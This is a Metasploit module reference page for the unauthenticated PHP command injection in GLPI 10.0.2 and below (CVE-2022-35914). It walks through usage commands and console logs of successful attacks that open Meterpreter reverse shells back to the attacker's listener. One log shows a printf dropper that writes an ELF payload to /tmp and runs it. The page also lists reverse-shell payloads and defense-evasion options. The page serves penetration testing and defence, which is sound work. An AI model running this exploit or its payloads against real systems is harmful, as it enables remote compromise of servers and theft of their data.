GLPI htmLawed php command injection - Metasploit


This page contains detailed information about how to use the exploit/linux/http/glpi_htmlawed_php_injection metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: GLPI htmLawed php command injection
Module: exploit/linux/http/glpi_htmlawed_php_injection
Source code: modules/exploits/linux/http/glpi_htmlawed_php_injection.rb
Disclosure date: 2022-01-26
Last modification time: 2022-10-24 11:48:33 +0000
Supported architecture(s): x64, cmd
Supported platform(s): Linux
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2022-35914

This exploit takes advantage of a unauthenticated php command injection available from GLPI versions 10.0.2 and below to execute a command.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
  • ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).

Basic Usage


msf > use exploit/linux/http/glpi_htmlawed_php_injection
msf exploit(glpi_htmlawed_php_injection) > exploit

Required Options


  • RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit

Knowledge Base


Vulnerable Application


GLPI versions 10.0.2 and below expose a vulnerable version on htmLawed which has a php command injection opportunity.

Installation Instructions

Taken verbatim from https://www.imaginelinux.com/install-glpi-ubuntu/ Using Ubuntu x64 Desktop 20.04.1 1. sudo apt install apache2 php7.4 php7.4-curl php7.4-zip php7.4-gd php7.4-intl \ php7.4-intl php-pear php7.4-imagick php-bz2 php7.4-imap php-memcache php7.4-pspell \ php7.4-tidy php7.4-xmlrpc php7.4-xsl php7.4-mbstring php7.4-ldap php-cas php-apcu \ libapache2-mod-php7.4 php7.4-mysql mariadb-server 2. sudo systemctl status apache2 3. sudo systemctl status mariadb 4. sudo mysql_secure_installation # Answer 'yes' to everything 5. sudo mysql -u root -p 6. CREATE DATABASE glpidb; 7. GRANT ALL PRIVILEGES ON glpidb.* TO 'user'@'localhost' IDENTIFIED BY 'password'; 8. FLUSH PRIVILEGES; 9. exit; 10. Grab a vulnerable version here: https://github.com/glpi-project/glpi/releases/ 11. Extract that vulnerable version and move the files to /var/www/html/glpi/ 12. sudo chmod 755 -R /var/www/html/ 13. sudo chown www-data:www-data -R /var/www/html/ 14. Create a virtual host if you want sudo nano /etc/apache2/sites-available/glpi.conf
<VirtualHost *:80> ServerAdmin admin@your_domain.com DocumentRoot /var/www/html/glpi ServerName your-domain.com

<Directory /var/www/html/glpi> Options FollowSymlinks AllowOverride All Require all granted </Directory>

ErrorLog ${APACHE_LOG_DIR}/your-domain.com_error.log CustomLog ${APACHE_LOG_DIR}/your-domain.com_access.log combined

</VirtualHost>

  1. sudo ln -s /etc/apache2/sites-available/glpi.conf /etc/apache2/sites-enabled/glpi.conf
  2. sudo a2enmod rewrite
  3. sudo systemctl restart apache2
  4. Visit the new server at http://<yourhost>/glpi
  5. Follow setup instructions on screen

Options


No extra options to be set, but make sure the uripath is correct

Verification Steps


  • Do: msfconsole
  • Do: use exploit/linux/http/glpi_htmlawed_php_injection
  • Do: set upripath <uripath>
  • Do: set rhost <rhost>
  • Do: set lhost <lhost>
  • Do: Verify you get a session

Scenarios


Using GLPI 9.5.9 running on Ubuntu 20.04.1 x64

Linux Dropper


msf6 exploit(linux/http/glpi_htmlawed_php_injection) > show options

Module options (exploit/linux/http/glpi_htmlawed_php_injection):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS   10.5.132.190     yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT    80               yes       The target port (TCP)
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH  /glpi/glpi/      no        The URI to use for this exploit (default is random)
   VHOST                     no        HTTP server virtual host


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.5.135.109     yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Linux (Dropper)


msf6 exploit(linux/http/glpi_htmlawed_php_injection) > run

[*] Started reverse TCP handler on 10.5.135.109:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] token = 4578e2880dfc8091a10c38ea60ead228
[*] sid = vitn15j8j9f0lljrfu7daq9es8
[+] The target appears to be vulnerable.
[*] Executing Linux (Dropper) for linux/x64/meterpreter/reverse_tcp
[*] Generated command stager: ["printf '\\177\\105\\114\\106\\2\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\2\\0\\76\\0\\1\\0\\0\\0\\170\\0\\100\\0\\0\\0\\0\\0\\100\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\100\\0\\70\\0\\1\\0\\0\\0\\0\\0\\0\\0\\1\\0\\0\\0\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\100\\0\\0\\0\\0\\0\\0\\0\\100\\0\\0\\0\\0\\0\\372\\0\\0\\0\\0\\0\\0\\0\\174\\1\\0\\0\\0\\0\\0\\0\\0\\20\\0\\0\\0\\0\\0\\0\\110\\61\\377\\152\\11\\130\\231\\266\\20\\110\\211\\326\\115\\61\\311\\152\\42\\101\\132\\262\\7\\17\\5\\110\\205\\300\\170\\121\\152\\12\\101\\131\\120\\152\\51\\130\\231\\152\\2\\137\\152\\1\\136\\17\\5\\110\\205\\300\\170\\73\\110\\227\\110\\271\\2\\0\\21\\134\\12\\5\\207\\155\\121\\110\\211\\346\\152\\20\\132\\152\\52\\130\\17\\5\\131\\110\\205\\300\\171\\45\\111\\377\\311\\164\\30\\127\\152\\43\\130\\152\\0\\152\\5\\110\\211\\347\\110\\61\\366\\17\\5\\131\\131\\137\\110\\205\\300\\171\\307\\152\\74\\130\\152\\1\\137\\17\\5\\136\\152\\176\\132\\17\\5\\110\\205\\300\\170\\355\\377\\346'>>/tmp/bLaTw ; chmod +x /tmp/bLaTw ; /tmp/bLaTw ; rm -f /tmp/bLaTw"]
[*] execute_command
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045348 bytes) to 10.5.132.190
[*] Command Stager progress - 100.00% done (809/809 bytes)
[*] Meterpreter session 4 opened (10.5.135.109:4444 -> 10.5.132.190:36378) at 2022-10-19 17:05:28 -0500

meterpreter > sysinfo
Computer     : 10.5.132.190
OS           : Ubuntu 20.04 (Linux 5.15.0-52-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > exit
[*] Shutting down Meterpreter...

Unix Command


[*] 10.5.132.190 - Meterpreter session 4 closed.  Reason: Died
smsf6 exploit(linux/http/glpi_htmlawed_php_injection) > set target 0
target => 0
msf6 exploit(linux/http/glpi_htmlawed_php_injection) > set payload cmd/unix/python/meterpreter/reverse_tcp
payload => cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/http/glpi_htmlawed_php_injection) > run

[*] Started reverse TCP handler on 10.5.135.109:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] token = 154f788cf9a685dac8753df78c6c3a1c
[*] sid = 1mcp7n5vq9v6tnqlbm324qk9ce
[+] The target appears to be vulnerable.
[*] Executing Unix Command for cmd/unix/python/meterpreter/reverse_tcp
[*] execute_command
[*] Sending stage (40168 bytes) to 10.5.132.190
[*] Meterpreter session 5 opened (10.5.135.109:4444 -> 10.5.132.190:39622) at 2022-10-19 17:06:36 -0500

meterpreter > sysinfo
Computer        : ubuntu-20041
OS              : Linux 5.15.0-52-generic #58~20.04.1-Ubuntu SMP Thu Oct 13 13:09:46 UTC 2022
Architecture    : x64
System Language : C
Meterpreter     : python/linux
meterpreter > exit
[*] Shutting down Meterpreter...

Go back to menu.

Msfconsole Usage


Here is how the linux/http/glpi_htmlawed_php_injection exploit module looks in the msfconsole:

msf6 > use exploit/linux/http/glpi_htmlawed_php_injection

[*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/http/glpi_htmlawed_php_injection) > show info

       Name: GLPI htmLawed php command injection
     Module: exploit/linux/http/glpi_htmlawed_php_injection
   Platform: Linux
       Arch: x64, cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-01-26

Provided by:
  cosad3s
  bwatters-r7

Module side effects:
 artifacts-on-disk
 ioc-in-logs

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Available targets:
  Id  Name
  --  ----
  0   Unix Command
  1   Linux (Dropper)

Check supported:
  Yes

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                    yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT    80               yes       The target port (TCP)
  SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addr
                                      esses.
  SRVPORT  8080             yes       The local port to listen on.
  SSL      false            no        Negotiate SSL/TLS for outgoing connections
  SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH  /glpi/           no        The URI to use for this exploit (default is random)
  VHOST                     no        HTTP server virtual host

Payload information:

Description:
  This exploit takes advantage of a unauthenticated php command 
  injection available from GLPI versions 10.0.2 and below to execute a 
  command.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2022-35914
  https://github.com/cosad3s/CVE-2022-35914-poc

Module Options


This is a complete list of options available in the linux/http/glpi_htmlawed_php_injection exploit:

msf6 exploit(linux/http/glpi_htmlawed_php_injection) > show options

Module options (exploit/linux/http/glpi_htmlawed_php_injection):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                    yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT    80               yes       The target port (TCP)
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all add
                                       resses.
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH  /glpi/           no        The URI to use for this exploit (default is random)
   VHOST                     no        HTTP server virtual host

Payload options (cmd/unix/python/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Unix Command

Advanced Options


Here is a complete list of advanced options supported by the linux/http/glpi_htmlawed_php_injection exploit:

msf6 exploit(linux/http/glpi_htmlawed_php_injection) > show advanced

Module advanced options (exploit/linux/http/glpi_htmlawed_php_injection):

   Name                     Current Setting                               Required  Description
   ----                     ---------------                               --------  -----------
   AutoCheck                true                                          no        Run check before exploit
   CMDSTAGER::DECODER                                                     no        The decoder stub to use.
   CMDSTAGER::FLAVOR        auto                                          no        The CMD Stager to use. (Accepted: auto, printf)
   CMDSTAGER::SSL           false                                         no        Use SSL/TLS for supported stagers
   CMDSTAGER::TEMP                                                        no        Writable directory for staged files
   CMDSTAGER::URIPATH                                                     no        Payload URI path for supported stagers
   ContextInformationFile                                                 no        The information file that contains context information
   DOMAIN                   WORKSTATION                                   yes       The domain to use for Windows authentication
   DigestAuthIIS            true                                          no        Conform to IIS, should work for most servers. Only set to false for non-IIS serve
                                                                                    rs
   DisablePayloadHandler    false                                         no        Disable the handler code for the selected payload
   EXE::Custom                                                            no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR               false                                         no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack            false                                         no        Use the default template in case the specified one is missing
   EXE::Inject              false                                         no        Set to preserve the original EXE function
   EXE::OldMethod           false                                         no        Set to use the substitution EXE generation method.
   EXE::Path                                                              no        The directory in which to look for the executable template
   EXE::Template                                                          no        The executable template file name.
   EnableContextEncoding    false                                         no        Use transient context when encoding payloads
   FingerprintCheck         true                                          no        Conduct a pre-exploit fingerprint verification
   ForceExploit             false                                         no        Override check result
   HttpClientTimeout                                                      no        HTTP connection and receive timeout
   HttpPassword                                                           no        The HTTP password to specify for authentication
   HttpRawHeaders                                                         no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace                false                                         no        Show the raw HTTP requests and responses
   HttpTraceColors          red/blu                                       no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly     false                                         no        Show HTTP headers only in HttpTrace
   HttpUsername                                                           no        The HTTP username to specify for authentication
   ListenerBindAddress                                                    no        The specific IP address to bind to if different from SRVHOST
   ListenerBindPort                                                       no        The port to bind to if different from SRVPORT
   ListenerComm                                                           no        The specific communication channel to use for this service
   MSI::Custom                                                            no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR               false                                         no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                                              no        The directory in which to look for the msi template
   MSI::Template                                                          no        The msi template file name
   MSI::UAC                 false                                         no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   SSLCipher                                                              no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression           false                                         no        Enable SSL/TLS-level compression
   SSLServerNameIndication                                                no        SSL/TLS Server Name Indication (SNI)
   SSLVersion               Auto                                          yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate
                                                                                    ) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   SendRobots               false                                         no        Return a robots.txt file if asked for one
   URIHOST                                                                no        Host to use in URI (useful for tunnels)
   URIPORT                                                                no        Port to use in URI (useful for tunnels)
   UserAgent                Mozilla/5.0 (iPad; CPU OS 15_3_1 like Mac OS  no        The User-Agent header to use for all requests
                             X) AppleWebKit/605.1.15 (KHTML, like Gecko)
                             Version/15.2 Mobile/15E148 Safari/604.1
   VERBOSE                  false                                         no        Enable detailed status messages
   WORKSPACE                                                              no        Specify the workspace for this module
   WfsDelay                 2                                             no        Additional delay in seconds to wait for a session

Payload advanced options (cmd/unix/python/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   HttpCookie                                    no        An optional value to use for the Cookie HTTP header
   HttpHostHeader                                no        An optional value to use for the Host HTTP header
   HttpReferer                                   no        An optional value to use for the Referer HTTP header
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   MeterpreterDebugBuild        false            no        Enable debugging for the Python meterpreter
   MeterpreterDebugLogging                       no        The Meterpreter debug logging configuration, see https://github.com/rapid7/metasploit-framework/wiki/Meter
                                                           preter-Debugging-Meterpreter-Sessions
   MeterpreterTryToFork         true             no        Fork a new process if the functionality is available
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOS
                                                           T
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the linux/http/glpi_htmlawed_php_injection module can exploit:

msf6 exploit(linux/http/glpi_htmlawed_php_injection) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Unix Command
   1   Linux (Dropper)

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/glpi_htmlawed_php_injection exploit:

msf6 exploit(linux/http/glpi_htmlawed_php_injection) > show payloads

Compatible Payloads
===================

   #   Name                                                  Disclosure Date  Rank    Check  Description
   -   ----                                                  ---------------  ----    -----  -----------
   0   payload/cmd/unix/bind_awk                                              normal  No     Unix Command Shell, Bind TCP (via AWK)
   1   payload/cmd/unix/bind_busybox_telnetd                                  normal  No     Unix Command Shell, Bind TCP (via BusyBox telnetd)
   2   payload/cmd/unix/bind_jjs                                              normal  No     Unix Command Shell, Bind TCP (via jjs)
   3   payload/cmd/unix/bind_lua                                              normal  No     Unix Command Shell, Bind TCP (via Lua)
   4   payload/cmd/unix/bind_netcat                                           normal  No     Unix Command Shell, Bind TCP (via netcat)
   5   payload/cmd/unix/bind_netcat_gaping                                    normal  No     Unix Command Shell, Bind TCP (via netcat -e)
   6   payload/cmd/unix/bind_netcat_gaping_ipv6                               normal  No     Unix Command Shell, Bind TCP (via netcat -e) IPv6
   7   payload/cmd/unix/bind_nodejs                                           normal  No     Unix Command Shell, Bind TCP (via nodejs)
   8   payload/cmd/unix/bind_perl                                             normal  No     Unix Command Shell, Bind TCP (via Perl)
   9   payload/cmd/unix/bind_perl_ipv6                                        normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   10  payload/cmd/unix/bind_r                                                normal  No     Unix Command Shell, Bind TCP (via R)
   11  payload/cmd/unix/bind_ruby                                             normal  No     Unix Command Shell, Bind TCP (via Ruby)
   12  payload/cmd/unix/bind_ruby_ipv6                                        normal  No     Unix Command Shell, Bind TCP (via Ruby) IPv6
   13  payload/cmd/unix/bind_socat_udp                                        normal  No     Unix Command Shell, Bind UDP (via socat)
   14  payload/cmd/unix/bind_stub                                             normal  No     Unix Command Shell, Bind TCP (stub)
   15  payload/cmd/unix/bind_zsh                                              normal  No     Unix Command Shell, Bind TCP (via Zsh)
   16  payload/cmd/unix/generic                                               normal  No     Unix Command, Generic Command Execution
   17  payload/cmd/unix/pingback_bind                                         normal  No     Unix Command Shell, Pingback Bind TCP (via netcat)
   18  payload/cmd/unix/pingback_reverse                                      normal  No     Unix Command Shell, Pingback Reverse TCP (via netcat)
   19  payload/cmd/unix/python/meterpreter/bind_tcp                           normal  No     Python Exec, Python Meterpreter, Python Bind TCP Stager
   20  payload/cmd/unix/python/meterpreter/bind_tcp_uuid                      normal  No     Python Exec, Python Meterpreter, Python Bind TCP Stager with UUID Support
   21  payload/cmd/unix/python/meterpreter/reverse_http                       normal  No     Python Exec, Python Meterpreter, Python Reverse HTTP Stager
   22  payload/cmd/unix/python/meterpreter/reverse_https                      normal  No     Python Exec, Python Meterpreter, Python Reverse HTTPS Stager
   23  payload/cmd/unix/python/meterpreter/reverse_tcp                        normal  No     Python Exec, Python Meterpreter, Python Reverse TCP Stager
   24  payload/cmd/unix/python/meterpreter/reverse_tcp_ssl                    normal  No     Python Exec, Python Meterpreter, Python Reverse TCP SSL Stager
   25  payload/cmd/unix/python/meterpreter/reverse_tcp_uuid                   normal  No     Python Exec, Python Meterpreter, Python Reverse TCP Stager with UUID Support
   26  payload/cmd/unix/python/meterpreter_bind_tcp                           normal  No     Python Exec, Python Meterpreter Shell, Bind TCP Inline
   27  payload/cmd/unix/python/meterpreter_reverse_http                       normal  No     Python Exec, Python Meterpreter Shell, Reverse HTTP Inline
   28  payload/cmd/unix/python/meterpreter_reverse_https                      normal  No     Python Exec, Python Meterpreter Shell, Reverse HTTPS Inline
   29  payload/cmd/unix/python/meterpreter_reverse_tcp                        normal  No     Python Exec, Python Meterpreter Shell, Reverse TCP Inline
   30  payload/cmd/unix/python/pingback_bind_tcp                              normal  No     Python Exec, Python Pingback, Bind TCP (via python)
   31  payload/cmd/unix/python/pingback_reverse_tcp                           normal  No     Python Exec, Python Pingback, Reverse TCP (via python)
   32  payload/cmd/unix/python/shell_bind_tcp                                 normal  No     Python Exec, Command Shell, Bind TCP (via python)
   33  payload/cmd/unix/python/shell_reverse_tcp                              normal  No     Python Exec, Command Shell, Reverse TCP (via python)
   34  payload/cmd/unix/python/shell_reverse_tcp_ssl                          normal  No     Python Exec, Command Shell, Reverse TCP SSL (via python)
   35  payload/cmd/unix/python/shell_reverse_udp                              normal  No     Python Exec, Command Shell, Reverse UDP (via python)
   36  payload/cmd/unix/reverse                                               normal  No     Unix Command Shell, Double Reverse TCP (telnet)
   37  payload/cmd/unix/reverse_awk                                           normal  No     Unix Command Shell, Reverse TCP (via AWK)
   38  payload/cmd/unix/reverse_bash                                          normal  No     Unix Command Shell, Reverse TCP (/dev/tcp)
   39  payload/cmd/unix/reverse_bash_telnet_ssl                               normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
   40  payload/cmd/unix/reverse_bash_udp                                      normal  No     Unix Command Shell, Reverse UDP (/dev/udp)
   41  payload/cmd/unix/reverse_jjs                                           normal  No     Unix Command Shell, Reverse TCP (via jjs)
   42  payload/cmd/unix/reverse_ksh                                           normal  No     Unix Command Shell, Reverse TCP (via Ksh)
   43  payload/cmd/unix/reverse_lua                                           normal  No     Unix Command Shell, Reverse TCP (via Lua)
   44  payload/cmd/unix/reverse_ncat_ssl                                      normal  No     Unix Command Shell, Reverse TCP (via ncat)
   45  payload/cmd/unix/reverse_netcat                                        normal  No     Unix Command Shell, Reverse TCP (via netcat)
   46  payload/cmd/unix/reverse_netcat_gaping                                 normal  No     Unix Command Shell, Reverse TCP (via netcat -e)
   47  payload/cmd/unix/reverse_nodejs                                        normal  No     Unix Command Shell, Reverse TCP (via nodejs)
   48  payload/cmd/unix/reverse_openssl                                       normal  No     Unix Command Shell, Double Reverse TCP SSL (openssl)
   49  payload/cmd/unix/reverse_perl                                          normal  No     Unix Command Shell, Reverse TCP (via Perl)
   50  payload/cmd/unix/reverse_perl_ssl                                      normal  No     Unix Command Shell, Reverse TCP SSL (via perl)
   51  payload/cmd/unix/reverse_php_ssl                                       normal  No     Unix Command Shell, Reverse TCP SSL (via php)
   52  payload/cmd/unix/reverse_python                                        normal  No     Unix Command Shell, Reverse TCP (via Python)
   53  payload/cmd/unix/reverse_python_ssl                                    normal  No     Unix Command Shell, Reverse TCP SSL (via python)
   54  payload/cmd/unix/reverse_r                                             normal  No     Unix Command Shell, Reverse TCP (via R)
   55  payload/cmd/unix/reverse_ruby                                          normal  No     Unix Command Shell, Reverse TCP (via Ruby)
   56  payload/cmd/unix/reverse_ruby_ssl                                      normal  No     Unix Command Shell, Reverse TCP SSL (via Ruby)
   57  payload/cmd/unix/reverse_socat_udp                                     normal  No     Unix Command Shell, Reverse UDP (via socat)
   58  payload/cmd/unix/reverse_ssh                                           normal  No     Unix Command Shell, Reverse TCP SSH
   59  payload/cmd/unix/reverse_ssl_double_telnet                             normal  No     Unix Command Shell, Double Reverse TCP SSL (telnet)
   60  payload/cmd/unix/reverse_stub                                          normal  No     Unix Command Shell, Reverse TCP (stub)
   61  payload/cmd/unix/reverse_tclsh                                         normal  No     Unix Command Shell, Reverse TCP (via Tclsh)
   62  payload/cmd/unix/reverse_zsh                                           normal  No     Unix Command Shell, Reverse TCP (via Zsh)
   63  payload/generic/custom                                                 normal  No     Custom Payload
   64  payload/generic/shell_bind_tcp                                         normal  No     Generic Command Shell, Bind TCP Inline
   65  payload/generic/shell_reverse_tcp                                      normal  No     Generic Command Shell, Reverse TCP Inline
   66  payload/generic/ssh/interact                                           normal  No     Interact with Established SSH Connection

Evasion Options


Here is the full list of possible evasion options supported by the linux/http/glpi_htmlawed_php_injection exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(linux/http/glpi_htmlawed_php_injection) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::chunked                 false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
   HTTP::compression             none             no        Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::junk_headers            false            no        Enable insertion of random junk HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::no_cache                false            no        Disallow the browser to cache HTTP content
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::server_name             Apache           yes       Configures the Server header of all outgoing replies
   HTTP::shuffle_get_params      false            no        Randomize order of GET parameters
   HTTP::shuffle_post_params     false            no        Randomize order of POST parameters
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-r
                                                            andom)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request
   TCP::max_send_size            0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay               0                no        Delays inserted before every send.  (0 = disable)

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Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Failed to retrieve token or sid


Here is a relevant code snippet related to the "Failed to retrieve token or sid" error message:

85:	
86:	      # sometimes I got > 1 sid.  We must use the last one.
87:	      @sid = res.get_cookies.match(/.*=(.*?);.*/)[1]
88:	      vprint_status("sid = #{@sid}")
89:	    rescue NoMethodError => e
90:	      elog('Failed to retrieve token or sid', error: e)
91:	    end
92:	  end
93:	
94:	  def execute_command(cmd, _opts = {})
95:	    populate_values if @sid.nil? || @token.nil?

Failed to retrieve htmLawed page


Here is a relevant code snippet related to the "Failed to retrieve htmLawed page" error message:

111:	  end
112:	
113:	  def check
114:	    populate_values if @html_doc.nil?
115:	    if @token.nil? || @sid.nil? || @html.nil?
116:	      return Exploit::CheckCode::Safe('Failed to retrieve htmLawed page')
117:	    end
118:	    return Exploit::CheckCode::Appears if @html.to_s.include?('htmLawed')
119:	
120:	    return Exploit::CheckCode::Safe('Unable to determine htmLawed status')
121:	  end

htmLawed


Here is a relevant code snippet related to the "htmLawed" error message:

113:	  def check
114:	    populate_values if @html_doc.nil?
115:	    if @token.nil? || @sid.nil? || @html.nil?
116:	      return Exploit::CheckCode::Safe('Failed to retrieve htmLawed page')
117:	    end
118:	    return Exploit::CheckCode::Appears if @html.to_s.include?('htmLawed')
119:	
120:	    return Exploit::CheckCode::Safe('Unable to determine htmLawed status')
121:	  end
122:	
123:	  def exploit

Unable to determine htmLawed status


Here is a relevant code snippet related to the "Unable to determine htmLawed status" error message:

115:	    if @token.nil? || @sid.nil? || @html.nil?
116:	      return Exploit::CheckCode::Safe('Failed to retrieve htmLawed page')
117:	    end
118:	    return Exploit::CheckCode::Appears if @html.to_s.include?('htmLawed')
119:	
120:	    return Exploit::CheckCode::Safe('Unable to determine htmLawed status')
121:	  end
122:	
123:	  def exploit
124:	    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
